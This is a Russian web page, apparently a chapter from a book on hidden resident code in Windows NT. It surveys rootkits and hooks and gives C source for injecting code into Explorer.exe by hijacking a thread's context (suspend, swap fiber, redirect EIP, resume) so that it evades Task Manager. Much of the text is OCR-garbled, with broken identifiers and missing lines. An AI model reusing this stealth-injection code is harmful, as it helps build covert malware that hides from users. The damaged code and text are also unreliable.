На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Всевозможные Rootkit

Это загрузка драйвера, который перехватывает обращения к NtQuerySystemlnformation и подставляет свои данные.
К сожалению, подробности изложить не могу, так как сам плохо представляю себе этот предмет. Недостаток все тот же - необходимы права администратора! Если же у вас на машине все-таки запустили драйвер, то дела ваши плохи.
Hooking
Относительно свежий способ. Основан на функции SetWindowsHookEx. Насколько я понимаю, на нем основаны «невиди­мые» закладки под клавиатуру, мышь и все то, на что сажается hook.
В Интернете способ широко не описан, поэтому не буду отни­мать хлеб у его создателей. При таком способе новый поток не созда­ется.
(Если кто-нибудь знает почему, то объясните мне, пожалуйста.) Но библиотека, откуда вызывается функция обработки ловушки, гру­зится во ВСЕ существующие и вновь создаваемые процессы. Поэтому запустите свой процесс и, если в нем появилась библиотека, которую вы не предусмотрели, то самое время перегрузить машину.
Переключение контекста потока
В данном случае резидентный код исполняется в контексте како­го-либо уже запущенного потока. Между прочим, сама система широ­ко использует потоки пользователей для собственных нужд. Как пи­шет Хелен Кастер в книге «Основы Windows NT и NTFS», система «похищает» поток и использует его для обработки прерываний, вызо­ва DPC и системных АРС функций. То есть немалая часть операцион­ной системы представляет собой программы-невидимки.
В Интернете я не встречал упоминания о данном способе и соби­раюсь остановиться на нем поподробнее.
При использовании данного метода не создаются ни новый про­цесс, ни новый поток. Загрузка библиотеки в другие процессы тоже не требуется. Таким образом, единственным косвенным признаком су­ществования постороннего резидентного кода является разовое уве­личение используемой памяти. Но память — наиболее активно расхо­дуемый ресурс. Практически все программы постоянно выделяют и освобождают память и определить, какое количество занятых кило­байт является нормой для того или иного процесса, очень затрудни­тельно.
Разумеется, есть и недостатки. Во-первых, резидентный код мо­жет выполняться, только когда система передает управление потоку-носителю. Но возможна ситуация, когда поток имеет весьма низкий приоритет и из-за вытесняющей многозадачности редко будет полу­чать управление. Более того, поток может перейти в состояние ожида­ния и оставаться в нем неопределенно долго. Если же поток будет за­вершен, то завершится и резидентный код. Суммируя, работа рези­дентного кода в решающей степени зависит от потока-носителя.
Вкратце, алгоритм предлагаемого Метода состоит в следующем.
Необходимо найти подходящий процесс, то есть процесс, имею­щий постоянно работающие потоки с приоритетом нормальный или выше (>8). Во избежание трудностей с правами имеет смысл исполь­зовать пользовательский процесс. Для нахождения такого процесса естественно использовать все ту же функцию NtQuerySystem Information.
После как нужный процесс найден и определены иденти-
фикаторы его потоков, загрузим в данного процесса сам
исполняемый резидентный код. Чтобы не возиться с ассемблером, я это делаю в виде библиотеки, но это вопрос предпочтений. Процедура загрузки библиотеки в заданный процесс подробно описана у Джеф­фри Рихтера.
Приостанавливаем один из потоков процесса, сохраняем его стек и текущий контекст, создаем новый стек, изменяем контекст потока
так, чтобы указатель на текущую команду (регистр Eip) указывал на наш резидентный код, переходим на новый стек, «пробуждаем» поток.
Теперь, если мы нигде не просчитались (хе-хе), то при получении потоком процессорного времени будет выполняться наш резидентный код. Естественно, это не все, так как в нашу задачу не входит нарушение нормального исполнения процесса (что мы, хакеры что
После того, как резидентный код отработал, необходимо перей­ти на старый стек и восстановить старый контекст. Теперь поток (по-моему) должен работать в нормальном режиме.
Вот, собственно, и все. Очень просто, не правда ли? Разумеется,
некоторые непринципиальные детали были опущены. По сути, во
многом то же самое выполняет сама ОС при исполнении DPC и АРС процедур (по книге Хелен Кастер).
Чтобы не оставаться голословным, я написал маленькую программку (baby.exe) с небольшой библиотечкой (zzz.dll). В данном примере резидентный код просто пишется в файл. Использовать его очень просто.
Скопируйте библиотеку в системную директорию system32 и за­пустите baby.exe. Если все прошло успешно, то в корневой директории диска С: появится файл 2_.2 с цифрами (если у вас уже есть такой
файл, то цифры будут дописываться в его конец).
По прошествии времени (в зависимости от загруженности ваше­го компьютера) файл (по идее) будет медленно расти (если долго не
будет, то удалите его, и он опять, наверное, появится).
В Task Manager никаких новых процессов или потоков не появится.
(Библиотек тоже, но в Task Manager вы этого не увидите.) Да! Чуть не забыл, чтобы «убить резидента», перезапустите Explorer.exe.
Наконец, последнее. Программа не создана ни для каких практи­ческих целей. Это всего лишь демонстрация работы алгоритма и про­ба сил. В ней могут быть различного рода ошибки. Она может работать плохо или вообще не работать. В заключение автор хотел бы выразить благодарность всем, кто помогал и поддерживал его. Я особенно бла­годарен книге А.В. Коберниченко «Недокументированные возмож­ности Windows NT*.
Дополнение
На мой взгляд, необходимы некоторые пояснения... Что предла­гаемый мною способ НЕ ДЕЛАЕТ:
— не скрывает процесс;
— не скрывает поток;
— не запускает драйвер;
— процесс не создается, поэтому скрывать его отсутствие не нужно;
— поток создается, но, быстро отработав, нормально завершает
работу, поэтому скрывать его тоже не нужно. (Кстати, может, кто-ни­будь действительно умеет скрывать поток без драйвера? Было бы очень интересно!);
— драйвер мне вообще не нужен;
— скрывать что-либо с помощью драйвера, это хорошая идея, бо­лее того, уже реализованная.
Проблема только в запуске драйвера.
Еще один вопрос ко всем. Как все-таки обнаружить подобного
резидента? Или как детектировать вызов АРС и DPC процедур опера­ционной системой?
Все хотят видеть исходники, но почему? Основную идею я опи­сал, а техническое исполнение программы оставляет желать лучшего
(не все рождаются программистами).
Но раз очень хочется, то пожалуйста (но я предупреждал!). По-моему, все, чтобы написать аналогичную прогу, описано. Исходник ехе помещаю полностью, но только в нем нет ничего интересного, да и на-
писан он ужасным стилем. Все то же самое можно найти у Рихтера и гораздо лучше написанное.
Все, что делает ехе - это загрузка библиотеки в Explorer.exe и за­пуск библиотечной функции zzzln.it.
Исходник zzz.dll помещать полностью не буду, только основные куски.
Главное — это функция my_switch, что переключает контексты. Основные структуры:
typedef  struct    THREAD BASIC INFORMATION
_ _ _
{
BOOL ExitStatus; PVOID Teb; CLIENT_ID ClientID; DWORD AffinityMask; DWORD BasePriority;
DWORD Priority;
} THREAD_BASIC__INFORMATION, *PTHREAD_BASIC_INFORMA-TION.
Надеюсь, что мое предположение верно и данная структура опи­сывает волокно (fiber). Если кто-то знает больше, сообщите свои мыс­ли, пожалуйста, особенно про ЕОС.
typedef struct
DWORD arg;
DWORD Exceptions;
DWORD
DWORD StackLimit;
DWORD EOC; CONTEXT context; } MYFIBER, *PMYFIBER.
Основная функция переключения контекста потока:
— 1 аргумент — handle на поток, куда внедряется наш код
- 2 аргумент — указатель на предварительно созданный fiber -- 3 аргумент — указатель на исполняемый код:
void my_switch(
HANDLE hThread,   //thread to be interrupted
PVOID fib,   //fib to  switch to
DWORD  function)   //function to process
{
CONTEXT cent; BOOL bo;
THREAD_BASIC_INFORMATION threadbuff; ULONG 1;
MYFIBER temp_fiber;
memset(Scont,0x00,sizeof(CONTEXT));
memset(Sthreadbuff, 0x00, sizeof (THREAD_BAS I CONFORMA­TION) ) ;
//   Read context   and stack of  target stack cont.ContextFlags=CONTEXT_CONTROL; bo=GetThreadContext(hThread,&cont);
bo=NtQueryInformationThread(hThread, 0, sthreadbuff,siz eof (1HREAD_8ASI C_INFORMATION j, &1)
Save arg, Teb and context
//arg
memmove((BYTE  *)&temp_fiber.arg,(BYTE *)fib,4); //Teb
memmove((BYTE *)&temp_fiber.Exceptions , (BYTE
*)threadbuff.Teb,4);
(BYTE
buff.Teb+4,4);
memmove((BYTE *)&temp_fiber.StackLimit, (BYTE
*)threadbuff.Teb+8,4);
memmove((BYTE *)&temp_fiber.E0C,(BYTE
*)threadbuff.Teb+0xe0c,4);
//Context
memmove( (BYTE *)&temp_fiber.con text, (BYTE
*)&cont,sizeof(CONTEXT));
//Помещаем в блок окружения (Teb) и контекст потока значения из созданного
//v.   проиницилизированного   волокна (fiber) Change all
memmove ( (BYTE *) threadbuff .Teb, (BYTE *) fib+4, 4) ;
memmove ( (BYTE *) threadbuff. Teb+4, (BYTE *) fib+8, 4) ;
memmove( (BYTE *) threadbuff.Teb+8, (BYTE *)fib+12,4);
memmove ( (BYTE * ) threadbuff . Teb+OxeOc, (BYTE
*)fib+16,4);
memmove( (BYTE    *) threadbuff .Teb+20,  (BYTE *)&fib,4);
//pointer to  saved fib
memmove ( (BYTE*)&cont .Edi, (BYTE *) fib+OxbO,4) ; memmove ( (BYTE*)&cont .Esi, (BYTE *)fib+0xb4,4) ;
(BYTE (BYTE (BYTE (BYTE
cont. Eip- (DWORD)function; bo=SetThreadContext (hThread,Scont) ;
memmove ( (BYTE *) fib, (BYTE
*)&temp_fiber, sizeof(MYFIBER)) ;
)
Поток, внедряющий код в контекст заданного потока. Аргумент в основном — это идентификатор потока, куда внедря­ется код:
DWORD WINAPI   thread2 (LPVOII arg2) {
ULONG   i, 1; PVOID fibl;
BOOL DWORD
HANDLE hThread=0;
OB JECT_ATTRIBUTESOb j ectAttributes ; CLIENT_ID threadl; MYPAR * par3; MY ARG * pmyarg;
//Подготовка параметров (несущественно)

par3= (MYPAR *)malloc (sizeof (MYPAR) ) ; pmyarg= (M^iARG *)arg2;
threadl.UniqueThread= (HANDLE)pmyarg->idl ;
threadl. UniqueProcess= (HANDLE )GetCur rent Process Id ( ) ;
(*par3). client_id.UniqueThread=(HANDLE)pmyarg->id2;
(*par3).client_id.UniqueProcess=(HANDLE)GetCurrentPro cessld();
par3->fib=0;
par3->st=0 ;
memset (SObjectAttributes,0x00, sizeof(OBJECT_ATTRIBUT-ES) ) ;
//Открыть handle потока по его идентификатору.
bo=NtOpenThread(ShThread,MAXIMUM_ALLOWED,SObjectAttri butes,&threadl);
//Создать волокно
fibl=CreateFiber(NULL,(LPFIBER_START_ROUTINE)f1, (void *)Par3);
i=SuspendThread(hThread); if (i==0xffffffff)
{
l=GetLastError();
}
//Переключить контекст заданного потока my_switch (hThread, fibl, (DWORD)fl) i=ResumeThread(hThread); //Очистить память CloseHandle(hThread) ; if(arg2!=0) free(arg2); return 1.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика